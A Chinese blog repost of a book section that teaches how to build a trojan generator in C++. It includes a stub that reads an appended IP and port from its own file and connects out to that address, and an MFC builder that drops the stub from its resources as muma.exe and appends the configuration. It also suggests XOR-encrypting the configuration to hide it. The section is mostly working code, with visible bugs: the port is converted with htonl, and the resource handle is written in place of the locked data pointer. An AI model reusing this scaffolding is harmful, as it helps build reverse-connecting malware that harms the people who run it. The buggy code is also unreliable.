现在的位置: 首页 > 综合 > 正文

c++生成木马服务器

2013年10月13日 ⁄ 综合 ⁄ 共 3328字 ⁄ 字号 评论关闭

 

6.1.3 代码实现剖析
我们通过资源来生成木马,首先要写一个简单的被生成的程序,这个程序要去读取被写入的配置信息。客户端把配置信息写入服务端的文件末尾,服务端从文件的末尾将信息读入。
下面来写一个简单的程序,来充当我们的服务端程序。需要设置的配置信息有IP地址和端口号,把这两个信息都写入服务器端程序。先来定义一个结构体,结构体如下:
#define IPLEN 20
typedef struct _SCONFIG
{
char szIpAddress[IPLEN]; // 保存IP地址
DWORD dwPort; // 保存端口号
}SCONFIG, *PCONFIG;

下面写一个模拟的简单的服务端程序,具体代码如下:
#include <winsock2.h>
#pragma comment (lib, "ws2_32")
#define IPLEN 20
typedef struct _SCONFIG
{
char szIpAddress[IPLEN];
DWORD dwPort;
}SCONFIG, *PCONFIG;
int main(int argc, char* argv[])
{
char szFileName[MAX_PATH] = { 0 };
HANDLE hFile = NULL;
SCONFIG IpConfig = { 0 };
DWORD dwFileSize = 0;
DWORD dwRead = 0;
GetModuleFileName(NULL, szFileName, MAX_PATH);
hFile = CreateFile(szFileName,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if ( INVALID_HANDLE_VALUE == hFile )
{
return -1;
}
dwFileSize = GetFileSize(hFile, 0);
// 定位到配置信息的位置
SetFilePointer(hFile, dwFileSize - sizeof(SCONFIG), 0, FILE_BEGIN);
// 读取配置信息
ReadFile(hFile, (LPVOID)&IpConfig, sizeof(SCONFIG), &dwRead, NULL);
CloseHandle(hFile);
WSADATA wsa;
WSAStartup(MAKEWORD(2, 2), &wsa);
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sAddr = { 0 };
sAddr.sin_family = PF_INET;
// 连接目标的IP地址
sAddr.sin_addr.S_un.S_addr = inet_addr(IpConfig.szIpAddress);
// 连接目标的端口号
sAddr.sin_port = htonl(IpConfig.dwPort);
printf("connecting %s : %d \r\n", IpConfig.szIpAddress, IpConfig.dwPort);
connect(s, (SOCKADDR *)&sAddr, sizeof(SOCKADDR));
closesocket(s);

return 0;
}

上面的代码就是服务端读取配置文件的代码,把文件指针移动到配置信息处,然后直接读取出来,让服务端连接配置信息中的IP地址就可以了。这就是我们模拟的服务端。下面再
来写一个模拟的客户端,用来对其进行配置。
创建一个MFC的对话框程序,然后对界面进行布局,界面布局如图6-8 所示。把模拟的服务端编译连接好以后添加入这个模拟客户端的资源里,添加方法是在VC 中
的资源选项卡中单击鼠标右键,在弹出的菜单中选择“Import…”命令,如图 6-9 所示。然后在弹出的对话框中选择编译好的模拟服务端程序,如图 6-10所示。会出现一个输入自定义资源类型的对话框,输入“IDC_MUMA”,如图6-11所示。

单击“OK”按钮,就将其添加入资源对话框中了,如图6-12 所示。

做好这些准备工作以后,就可以开始写代码了。给“生成”按钮添加如下代码:
HINSTANCE hInst = NULL;
hInst = GetModuleHandle(NULL);
// 查找资源
HRSRC hRes = FindResource(hInst, MAKEINTRESOURCE(IDR_IDC_MUMA1), "IDC_MUMA");
// 获取资源大小
DWORD len = SizeofResource(hInst, hRes);
// 载入资源
HGLOBAL hg = LoadResource(hInst, hRes);
// 锁定资源
LPVOID lp = (LPSTR)LockResource(hg);
HANDLE hFile = CreateFile("muma.exe", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWrite = 0;
// 将资源写入文件
WriteFile(hFile, (LPVOID)hg, len, &dwWrite, NULL);
SCONFIG IpConfig = { 0 };
GetDlgItemText(IDC_EDIT_IPADDRESS, IpConfig.szIpAddress, IPLEN);
IpConfig.dwPort = GetDlgItemInt(IDC_EDIT_PORT, FALSE, FALSE);
SetFilePointer(hFile, 0, 0, FILE_END);
// 将配置信息写入文件
WriteFile(hFile, (LPVOID)&IpConfig, sizeof(SCONFIG), &dwWrite, NULL);
CloseHandle(hFile);
// 释放资源
FreeResource(hg);

编译连接并运行这个程序,输入配置程序,单击“生成”按钮,会生成一个 muma.exe的程序,然后运行这个程序就会输出配置信息的内容,如图6-13 所示。

在这个程序中使用了4个以前没有使用过的函数,下面分别进行介绍。
(1)查找资源 FindResource()函数的定义如下:
HRSRC FindResource(
HMODULE hModule, // module handle
LPCTSTR lpName, // resource name
LPCTSTR lpType // resource type
);
① hModule:该参数表示要查找模块的句柄。
② lpName:该参数表示要查找资源的名称。
③ lpType:该参数表示了要查找资源的类型。
(2)SizeofResource()函数用来计算被查找资源的大小,该函数的定义如下:
DWORD SizeofResource(
HMODULE hModule, // module handle
HRSRC hResInfo // resource handle
);
① hModule:该参数同 FindResouce()相同。
② hResInfo:FindResouce()的返回值。
(3)LoadResource()函数用来将资源载入全局内存中,该函数的定义如下:
HGLOBAL LoadResource(
HMODULE hModule, // module handle
HRSRC hResInfo // resource handle
);
该函数参数的意义与 SizeofResouce()的相同。
(4)LockResouce()函数的作用是将资源锁定,并返回其起始位置的指针,该函数定义如
下:
LPVOID LockResource(
HGLOBAL hResData // handle to resource
);
上面介绍了关于使用资源来将两个程序合并为一个程序的方法。除此而外还有一种方法是使用附加数据法将两个程序合并为一个程序。何为附加数据法呢?PE文件在被载入内存时是按照节来映射的,没有被映射入内存的部分就是附加数据,虽然该部分占用文件大小,却不占用映像大小。关于配置信息的保护部分,只要使用简单的加密算法将配置信息加密就可以了,比如异或算法,这里就不进行介绍了。

【上篇】
【下篇】

抱歉!评论已关闭.